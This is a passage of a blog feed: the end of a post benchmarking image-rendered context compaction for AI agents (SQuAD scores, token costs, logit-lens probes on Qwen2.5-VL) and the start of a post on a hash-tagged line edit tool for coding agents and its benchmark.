&lt;p&gt;The funny thing is, this section was worse than useless — this exact optimization comes back to bite us in a bit.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x3-thinking"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; Thinking&amp;hellip;&lt;/h2&gt;
&lt;p&gt;Anecdotes about my own log don&amp;rsquo;t generalize, so let&amp;rsquo;s get a proper benchmark: SQuAD v1.1, extractive questions with gold answers. The harness packs passages into chunks sized to each technique&amp;rsquo;s carrying capacity, samples 30 questions per chunk spread evenly (so answers land at every image row, top to bottom), and runs every technique over the same corpus:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;text&lt;/strong&gt; — the corpus passed verbatim; the ceiling,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;handoff&lt;/strong&gt; — a simple handoff prompt,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;compact&lt;/strong&gt; — provider-side compaction where available, a summarization call otherwise,&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;img-{font}-{variant}&lt;/strong&gt; — snapcompact, where the variant is &lt;strong&gt;bw&lt;/strong&gt; (plain black-on-white) or &lt;strong&gt;sent&lt;/strong&gt; (glyph ink cycles color per sentence).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Scores are SQuAD F1; models are told to answer UNREADABLE when they can&amp;rsquo;t extract the fact.&lt;/p&gt;
&lt;style&gt;
.snapcompact-formats-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;snapcompact-formats-20260610 class="viz-embed snapcompact-formats-inline"&gt;&lt;/snapcompact-formats-20260610&gt;
&lt;script src="./snapcompact/formats/formats-20260610.js" defer&gt;&lt;/script&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;technique&lt;/th&gt;
&lt;th style="text-align: right"&gt;fable-5&lt;/th&gt;
&lt;th style="text-align: right"&gt;opus-4.8&lt;/th&gt;
&lt;th style="text-align: right"&gt;gpt-5.5&lt;/th&gt;
&lt;th style="text-align: right"&gt;gemini-3.5-flash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;text (ceiling)&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.904&lt;br&gt;$0.4984&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.911&lt;br&gt;$0.6367&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.861&lt;br&gt;$0.0847&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.898&lt;br&gt;$0.0577&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;handoff&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.540&lt;br&gt;$1.2241&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.248&lt;br&gt;$1.0065&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.368&lt;br&gt;$0.2386&lt;/td&gt;
&lt;td style="text-align: right"&gt;&lt;strong&gt;0.889&lt;/strong&gt;&lt;br&gt;$0.1759&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;compact&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.406&lt;br&gt;$0.9427&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.000&lt;br&gt;$0.7576&lt;/td&gt;
&lt;td style="text-align: right"&gt;&lt;strong&gt;0.896&lt;/strong&gt;&lt;br&gt;$0.3393&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.000&lt;br&gt;$0.0420&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-6×10-sent&lt;/td&gt;
&lt;td style="text-align: right"&gt;&lt;strong&gt;0.882&lt;/strong&gt;&lt;br&gt;$0.6400&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.601&lt;br&gt;$0.2430&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.822&lt;br&gt;$0.2452&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.805&lt;br&gt;$0.0970&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-6×10-bw&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.856&lt;br&gt;$0.7568&lt;/td&gt;
&lt;td style="text-align: right"&gt;&lt;strong&gt;0.652&lt;/strong&gt;&lt;br&gt;$0.2369&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.792&lt;br&gt;$0.3026&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.767&lt;br&gt;$0.1135&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-5×8-sent&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.773&lt;br&gt;$0.4532&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.409&lt;br&gt;$0.1626&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.751&lt;br&gt;$0.1819&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.738&lt;br&gt;$0.1006&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-5×8-bw&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.830&lt;br&gt;$0.6866&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.425&lt;br&gt;$0.1619&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.778&lt;br&gt;$0.2359&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.674&lt;br&gt;$0.0941&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For a first attempt not bad&amp;hellip; wait, muh token savings, how is this more expensive? Let&amp;rsquo;s have a look at this other table.&lt;/p&gt;
&lt;h3 id="tokens-inputoutputthinking"&gt;Tokens: input/output/thinking&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;technique&lt;/th&gt;
&lt;th style="text-align: right"&gt;fable-5&lt;/th&gt;
&lt;th style="text-align: right"&gt;opus-4.8&lt;/th&gt;
&lt;th style="text-align: right"&gt;gpt-5.5&lt;/th&gt;
&lt;th style="text-align: right"&gt;gemini-3.5-flash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;text (ceiling)&lt;/td&gt;
&lt;td style="text-align: right"&gt;37,793 / 2,410 / 1,435&lt;/td&gt;
&lt;td style="text-align: right"&gt;37,793 / 931 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;17,761 / 2,998 / 2,298&lt;/td&gt;
&lt;td style="text-align: right"&gt;24,535 / 10,745 / 9,983&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;handoff&lt;/td&gt;
&lt;td style="text-align: right"&gt;49,363 / 14,609 / 3,717&lt;/td&gt;
&lt;td style="text-align: right"&gt;43,237 / 4,773 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;25,032 / 11,710 / 4,835&lt;/td&gt;
&lt;td style="text-align: right"&gt;49,387 / 36,577 / 11,959&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;compact&lt;/td&gt;
&lt;td style="text-align: right"&gt;45,130 / 9,828 / 3,248&lt;/td&gt;
&lt;td style="text-align: right"&gt;40,436 / 2,014 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;45,562 / 15,329 / 1,032&lt;/td&gt;
&lt;td style="text-align: right"&gt;26,151 / 6,582 / 5,422&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-6×10-sent&lt;/td&gt;
&lt;td style="text-align: right"&gt;11,816 / 10,437 / 9,483&lt;/td&gt;
&lt;td style="text-align: right"&gt;11,816 / 877 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;10,188 / 14,049 / 13,368&lt;/td&gt;
&lt;td style="text-align: right"&gt;4,991 / 23,491 / 22,764&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-6×10-bw&lt;/td&gt;
&lt;td style="text-align: right"&gt;11,816 / 12,772 / 11,782&lt;/td&gt;
&lt;td style="text-align: right"&gt;11,816 / 796 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;10,188 / 17,639 / 16,958&lt;/td&gt;
&lt;td style="text-align: right"&gt;4,991 / 27,616 / 26,879&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-5×8-sent&lt;/td&gt;
&lt;td style="text-align: right"&gt;7,955 / 7,474 / 6,897&lt;/td&gt;
&lt;td style="text-align: right"&gt;7,955 / 577 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;4,519 / 10,773 / 10,336&lt;/td&gt;
&lt;td style="text-align: right"&gt;3,355 / 24,659 / 24,196&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img-5×8-bw&lt;/td&gt;
&lt;td style="text-align: right"&gt;7,955 / 12,141 / 11,559&lt;/td&gt;
&lt;td style="text-align: right"&gt;7,955 / 568 / 0&lt;/td&gt;
&lt;td style="text-align: right"&gt;6,823 / 13,892 / 13,463&lt;/td&gt;
&lt;td style="text-align: right"&gt;3,355 / 23,014 / 22,542&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A few conclusions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It does work: on fable, 0.86–0.96 F1 across every corpus length I tested, carrying the same information for a third of the input price. Amazing.&lt;/li&gt;
&lt;li&gt;The input savings aren&amp;rsquo;t free: models decode dense images by &lt;em&gt;reasoning&lt;/em&gt; about them, and that thinking costs ~5× the output tokens of the text condition (in this example).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At Anthropic&amp;rsquo;s output pricing the decode tax can eat the input savings in a single pass. This is a nitpick at 40k tokens — (a) nobody compacts at that range, (b) the decode happens once, not every turn — but still: suboptimal.&lt;/p&gt;
&lt;p&gt;The baselines mostly confirm why this is worth doing at all. Prose compaction is a fact shredder: on compacted context, Gemini answered UNREADABLE &lt;strong&gt;240 times out of 240&lt;/strong&gt;, Opus 209 — the summaries preserve what you were &lt;em&gt;doing&lt;/em&gt;, not what you &lt;em&gt;knew&lt;/em&gt;. Two exceptions: OpenAI&amp;rsquo;s opaque server-side compaction retains nearly everything (but they might just be skipping it, who knows?), and Gemini&amp;rsquo;s handoff documents disobey the prompt&amp;rsquo;s spirit and write down the trivia, lol.&lt;/p&gt;
&lt;p&gt;Anyhow — whether the technique works is an empirical property of each model&amp;rsquo;s vision stack, and you have to test it. So now we&amp;rsquo;re gonna have to learn how the vision stack actually works.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x4-two-carriers-one-state"&gt;&lt;span class="hx"&gt;0x4:&lt;/span&gt; Two Carriers, One State&lt;/h2&gt;
&lt;p&gt;The stronger claim, the one that makes snapcompact a memory format instead of a party trick, is that the model &lt;em&gt;thinks&lt;/em&gt; the same with either carrier. We know it reads the image; the question is whether the internal result is text-shaped.&lt;/p&gt;
&lt;p&gt;Setup, on a local Qwen2.5-VL-7B-Instruct: take one SQuAD chunk and twelve questions over it. Run each question twice: once with the chunk as plain text in the prompt, once with the chunk as a 1568² bitmap — and capture the hidden state at the &lt;strong&gt;last prompt token&lt;/strong&gt;, the model&amp;rsquo;s &amp;ldquo;about to answer&amp;rdquo; summary, at every decoder layer.&lt;/p&gt;
&lt;p&gt;Raw states look similar for boring reasons (same template, same model), so the comparison subtracts each carrier&amp;rsquo;s per-layer mean — anything that survives centering is content, not carrier. Then three measurements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Matched pairs&lt;/strong&gt; (same question, text ↔ image): cosine &lt;strong&gt;0.66&lt;/strong&gt; at layer 19. &lt;strong&gt;Mismatched pairs&lt;/strong&gt; (different questions): &lt;strong&gt;−0.06&lt;/strong&gt;. The state encodes &lt;em&gt;which question against which content&lt;/em&gt;, not which input format.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-carrier retrieval&lt;/strong&gt;: for every text run, find the nearest image run. From layer 2 onward it&amp;rsquo;s the same question &lt;strong&gt;12 out of 12 times&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Representational geometry&lt;/strong&gt;: the 12×12 question-similarity matrix computed inside the text carrier correlates with the image carrier&amp;rsquo;s at &lt;strong&gt;r = 0.94&lt;/strong&gt; by layer 1, settling to &lt;strong&gt;0.85&lt;/strong&gt; at the final layer. The two carriers print the same relational structure almost immediately; what deepens with depth is the per-question state fusion.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Behaviorally, both carriers generate the same answers. That&amp;rsquo;s the property the pricing math cashes in on: the PNG isn&amp;rsquo;t a picture &lt;em&gt;of&lt;/em&gt; your context — it converges to &lt;em&gt;being&lt;/em&gt; your context.&lt;/p&gt;
&lt;p&gt;If pixels become text inside the model, you can ask &lt;em&gt;where&lt;/em&gt;. The instrument is a logit lens: at every layer, take the hidden state of the visual token covering the answer word, push it through the final RMSNorm and the LM head, and check the top-1 vocabulary entry. &lt;strong&gt;Lock-on&lt;/strong&gt; is the first layer whose top-1 is a BPE piece of the answer.&lt;/p&gt;
&lt;style&gt;
.snapcompact-lockon-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;snapcompact-lockon-20260610 class="viz-embed snapcompact-lockon-inline"&gt;&lt;/snapcompact-lockon-20260610&gt;
&lt;script src="./snapcompact/lockon/lockon-20260610.js" defer&gt;&lt;/script&gt;
&lt;p&gt;For the baseline 8×13 rendering, the patch containing the tail of &amp;ldquo;spectacular&amp;rdquo; decodes as CJK noise for seventeen layers, passes through &lt;em&gt;letter-shaped&lt;/em&gt; noise around L18 (&lt;code&gt;ALLERY&lt;/code&gt;, &lt;code&gt;IGHL&lt;/code&gt; — strokes assembling into orthography), and flips to &lt;code&gt;acular&lt;/code&gt; at &lt;strong&gt;L24&lt;/strong&gt;, climbing to p=0.39 by the last layer.&lt;/p&gt;
&lt;p&gt;This matters because layers before lock-on are spent turning pixels into words, and layers after are free to work with them. So I decided to be a simpleton. Attention accumulates evidence, yes? Repeat the lines, and the read should get stronger?&lt;/p&gt;
&lt;p&gt;Another thing that&amp;rsquo;s very obvious once you know how the vision tokens work — Qwen slices the image into 28×28-pixel windows, one visual token each — is that the font size we picked at the beginning of this article, purely by yolo, won&amp;rsquo;t fly. At 6×10, every token window holds fragments of ~13 glyphs smeared across three text rows.&lt;/p&gt;
&lt;p&gt;Less overlapping garbage in a token&amp;rsquo;s window: less thinking required. Simple.&lt;/p&gt;
&lt;style&gt;
.snapcompact-materialize-inline {
max-width: 760px;
}
&lt;/style&gt;
&lt;snapcompact-materialize-20260610 class="viz-embed snapcompact-materialize-inline"&gt;&lt;/snapcompact-materialize-20260610&gt;
&lt;script src="./snapcompact/materialize/materialize-20260610.js" defer&gt;&lt;/script&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;condition&lt;/th&gt;
&lt;th style="text-align: right"&gt;lock-on&lt;/th&gt;
&lt;th style="text-align: right"&gt;peak p(answer)&lt;/th&gt;
&lt;th style="text-align: right"&gt;chars/visual token&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;base 8×13&lt;/td&gt;
&lt;td style="text-align: right"&gt;L24&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.39&lt;/td&gt;
&lt;td style="text-align: right"&gt;7.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;repeat lines ×2, colored&lt;/td&gt;
&lt;td style="text-align: right"&gt;L23&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.94&lt;/td&gt;
&lt;td style="text-align: right"&gt;3.75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aligned, 4×2 chars/token&lt;/td&gt;
&lt;td style="text-align: right"&gt;L24&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.74&lt;/td&gt;
&lt;td style="text-align: right"&gt;8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aligned, 2×1 chars/token&lt;/td&gt;
&lt;td style="text-align: right"&gt;L23&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.99&lt;/td&gt;
&lt;td style="text-align: right"&gt;2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aligned, 1 char/token&lt;/td&gt;
&lt;td style="text-align: right"&gt;L22&lt;/td&gt;
&lt;td style="text-align: right"&gt;0.99&lt;/td&gt;
&lt;td style="text-align: right"&gt;1.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aligned + repeated&lt;/td&gt;
&lt;td style="text-align: right"&gt;L23&lt;/td&gt;
&lt;td style="text-align: right"&gt;&lt;strong&gt;1.00&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: right"&gt;1.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The depth refused to move (significantly): L24 to L22, best case. That&amp;rsquo;s consistent with the OCR-routing literature &lt;a href="https://arxiv.org/abs/2602.22918"&gt;where vision becomes text is an architectural property&lt;/a&gt;. But the &lt;em&gt;confidence&lt;/em&gt; is fully controllable: line repetition alone took the decode from 0.39 to 0.94 while still carrying 3.75 chars per visual token. The format can&amp;rsquo;t make the model read sooner; it can make the reading unambiguous. Grug model not think much.&lt;/p&gt;
&lt;p&gt;Now at this point, while doing lit review, I noticed this is not really a new idea: &lt;a href="https://arxiv.org/abs/2510.18234"&gt;DeepSeek-OCR&lt;/a&gt; trained a custom encoder for optical context compression, and &lt;a href="https://x.com/karpathy/status/1980397031542989305"&gt;Karpathy riffed&lt;/a&gt; on pixels maybe beating tokens as an input medium.&lt;/p&gt;
&lt;p&gt;In the agent-harness context, though, it seems like people saw the amount of thinking being wasted and called it a day. But would you look at that? The grug-brain optimization we made for Qwen generalizes remarkably well to frontier models!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dense-text bitmaps as context carriers, carefully adjusted, do very well.&lt;/strong&gt; Synthetic pixel-font renderings at the legibility floor, benchmarked — billing formulas, silent downscales, and adaptive-thinking costs included — against the compaction strategies agents actually ship. Go team PNG!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lock-on you can drive to certainty on a 7B open model.&lt;/strong&gt; From p=0.39 to p=1.00 with such a small change is significant. Yes, repetition doubles the pixel area — we could have had much more significant savings than a &lt;em&gt;mere&lt;/em&gt; ~3× — but that&amp;rsquo;s still cheaper than text, now with near-perfect recall. Hell, return tool results as PNGs if you want.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here it is, running live in the harness:&lt;/p&gt;
&lt;p&gt;&lt;video src="demo.webm" controls autoplay muted playsinline loop preload="metadata" width="100%"&gt;&lt;/video&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;The harness wins again: nothing about the models changed; we changed the context around them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Eval harness, font renderer, per-question records, white-box probes: &lt;a href="https://github.com/can1357/oh-my-pi/tree/master/packages/snapcompact/research"&gt;omp&lt;/a&gt; — &lt;code&gt;uv run final.py&lt;/code&gt; reproduces the API grid (~$35 cold, free from cache after); the representation runs need a local GPU with Qwen2.5-VL-7B.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Coming very soon to &lt;a href="https://omp.sh"&gt;oh-my-pi&lt;/a&gt;!&lt;/p&gt;</description></item><item><title>I Improved 15 LLMs at Coding in One Afternoon. Only the Harness Changed.</title><link>https://blog.can.ac/2026/02/12/the-harness-problem/</link><pubDate>Thu, 12 Feb 2026 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2026/02/12/the-harness-problem/</guid><description>&lt;aside class="crosspost"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24" aria-hidden="true"&gt;&lt;path d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"/&gt;&lt;/svg&gt;
&lt;span&gt;Cross-posted from &lt;a href="https://x.com/_can1357/status/2021828033640911196" target="_blank" rel="noopener"&gt;X / @_can1357&lt;/a&gt;&lt;/span&gt;
&lt;/aside&gt;
&lt;p&gt;In fact only the edit tool changed. That&amp;rsquo;s it.&lt;/p&gt;
&lt;style&gt;
.benchmark-inline {
max-width: 900px;
}
&lt;/style&gt;
&lt;benchmark-embed class="viz-embed benchmark-inline"&gt;&lt;/benchmark-embed&gt;
&lt;script src="./benchmark/benchmark_v2.js" defer&gt;&lt;/script&gt;
&lt;hr&gt;
&lt;h2 id="0x0-the-wrong-question"&gt;&lt;span class="hx"&gt;0x0:&lt;/span&gt; The Wrong Question&lt;/h2&gt;
&lt;p&gt;The conversation right now is almost entirely about which model is best at coding, GPT-5.3 or Opus. Gemini vs whatever dropped this week. This framing is increasingly misleading because it treats the model as the only variable that matters, when in reality one of the bottlenecks is something much more mundane: &lt;strong&gt;the harness.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not only is it where you capture the first impression of the user (is it uncontrollably scrolling, or smooth as butter?), it is also the source of every input token, and the interface between their output and every change made to your workspace.&lt;/p&gt;
&lt;p&gt;I maintain a little &amp;ldquo;hobby harness&amp;rdquo;, &lt;a href="https://github.com/can1357/oh-my-pi"&gt;oh-my-pi&lt;/a&gt;, a fork of &lt;a href="https://github.com/badlogic/pi-mono"&gt;Pi&lt;/a&gt;, a wonderful open-source coding agent by Mario Zechner. I&amp;rsquo;ve so far authored ~1,300 commits, mostly playing around and making incremental improvements here and there when I see a pain point, (&lt;del&gt;or autism strikes and I see an opportunity to embed more Rust via N-API because &amp;ldquo;spawning rg feels wrong&amp;rdquo;&lt;/del&gt;).&lt;/p&gt;
&lt;p&gt;Why bother, you ask? Opus may be a great model, but Claude Code to this day leaks raw JSONL from sub-agent outputs, wasting hundreds of thousands of tokens. I get to say, &amp;ldquo;fuck it, subagents output structured data now&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Tool schemas, error messages, state management, everything between &amp;ldquo;the model knows what to change&amp;rdquo; and &amp;ldquo;the issue is resolved.&amp;rdquo; This is where most failures happen in practice.&lt;/p&gt;
&lt;p&gt;Being model agnostic, it is a great testing ground, as the model is but a parameter. The real variable is the harness, where you have unimaginable control over.&lt;/p&gt;
&lt;p&gt;Anyhow, let me tell you about this one &lt;em&gt;variable&lt;/em&gt; I changed yesterday.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x1-edit-tool"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; Edit Tool!&lt;/h2&gt;
&lt;p&gt;Before I explain what I built, it&amp;rsquo;s worth understanding the state of the art.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Codex uses &lt;code&gt;apply_patch&lt;/code&gt;&lt;/strong&gt;: It takes a string as input, which is essentially an OpenAI-flavored diff, and instead of relying on a structured schema, the harness just expects this blob to follow a strict set of rules. Since OpenAI folks are without a doubt smart, I&amp;rsquo;m sure the token selection process is biased to fit this structure at the LLM gateway for the Codex variants of GPT, similar to how other constraints like JSON schemas or required tool calls work.&lt;/p&gt;
&lt;p&gt;But give this to any other model, completely unaware of it? Patch failures go through the roof. Grok 4&amp;rsquo;s patch failure rate in my benchmark was &lt;strong&gt;50.7%&lt;/strong&gt;, GLM-4.7&amp;rsquo;s was &lt;strong&gt;46.2%&lt;/strong&gt;. These aren&amp;rsquo;t bad models — they just don&amp;rsquo;t speak the language.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Claude Code (and most others) use &lt;code&gt;str_replace&lt;/code&gt;&lt;/strong&gt;: find the &lt;strong&gt;exact&lt;/strong&gt; old text, swap in the new text. Very simple to think about. But the model must reproduce every character perfectly, including whitespace and indentation. Multiple matches? Rejected. The &amp;ldquo;String to replace not found in file&amp;rdquo; error is so common it has &lt;a href="https://github.com/anthropics/claude-code/issues/3471"&gt;its own GitHub issues megathread&lt;/a&gt; (+27 other issues). Not exactly optimal. Gemini does essentially the same thing plus some fuzzy whitespace matching.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cursor trained a separate neural network&lt;/strong&gt;: a fine-tuned 70B model whose entire job is to take a draft edit and merge it into the file correctly. The harness problem is so hard that one of the most well-funded AI companies decided to throw another model at it, and even then they mention in their &lt;a href="https://cursor.com/blog/instant-apply"&gt;own blog post&lt;/a&gt; that &amp;ldquo;fully rewriting the full file outperforms aider-like diffs for files under 400 lines.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aider&amp;rsquo;s &lt;a href="https://aider.chat/docs/benchmarks.html"&gt;own benchmarks&lt;/a&gt;&lt;/strong&gt; show that format choice alone swung GPT-4 Turbo from 26% to 59%, but GPT-3.5 scored only 19% with the same format because it couldn&amp;rsquo;t reliably produce valid diffs. The format matters as much as the model.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://arxiv.org/abs/2510.12487"&gt;Diff-XYZ benchmark&lt;/a&gt; from JetBrains confirmed it systematically: no single edit format dominates across models and use cases. &lt;a href="https://arxiv.org/abs/2511.04486"&gt;EDIT-Bench&lt;/a&gt; found that only one model achieves over 60% pass@1 on realistic editing tasks.&lt;/p&gt;
&lt;p&gt;As you can see, there is no real consensus on the &amp;ldquo;best solution&amp;rdquo; to the simple &amp;ldquo;how do you change things&amp;rdquo; problem. My 5c: &lt;strong&gt;none of these tools give the model a stable, verifiable identifier for the lines it wants to change without wasting tremendous amounts of context and depending on perfect recall.&lt;/strong&gt; They all rely on the model reproducing content it already saw. When it can&amp;rsquo;t — and it often can&amp;rsquo;t — the user blames the model.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x2-hashline"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Hashline!&lt;/h2&gt;
&lt;p&gt;Now bear with me here. What if, when the model reads a file, or greps for something, every line comes back tagged with a 2-3 character content hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;1:a3|function hello() {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;2:f1| return &amp;#34;world&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;3:0e|}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When the model edits, it references those tags — &lt;em&gt;&amp;ldquo;replace line &lt;code&gt;2:f1&lt;/code&gt;, replace range &lt;code&gt;1:a3&lt;/code&gt; through &lt;code&gt;3:0e&lt;/code&gt;, insert after &lt;code&gt;3:0e&lt;/code&gt;.&amp;rdquo;&lt;/em&gt; If the file changed since the last read, the hashes (optimistically) won&amp;rsquo;t match and the edit is rejected before anything gets corrupted.&lt;/p&gt;
&lt;p&gt;If they can recall a pseudo-random tag, chances are, they know what they&amp;rsquo;re editing. The model then wouldn&amp;rsquo;t need to reproduce old content, or god forbid whitespace, to demonstrate a trusted &amp;ldquo;anchor&amp;rdquo; to express its changes off of.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x3-the-benchmark"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; The Benchmark&lt;/h2&gt;
&lt;p&gt;Since my primary concern was about real-world performance, the fixtures are generated as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take a random file from the React codebase.&lt;/li&gt;
&lt;li&gt;Introduce mutations, framed as bugs, via an edit whose inverse we can expect (e.g. operator swaps, boolean flips, off-by-one errors, optional chains removed, identifiers renamed).&lt;/li&gt;
&lt;li&gt;Generate a description of the issue in plain English.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An average task description looks something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Fix the bug in `useCommitFilteringAndNavigation.js`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;A guard clause (early return) was removed.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;The issue is in the &lt;span class="sb"&gt;`useCommitFilteringAndNavigation`&lt;/span&gt; function.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Restore the missing guard clause (if statement with early return).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Naturally, we don&amp;rsquo;t expect 100% success rate here, since the model can come up with a unique solution that isn&amp;rsquo;t necessarily the exact same file, but the bugs are mechanical enough that most of the time, the fix is our mutation being reverted.&lt;/p&gt;
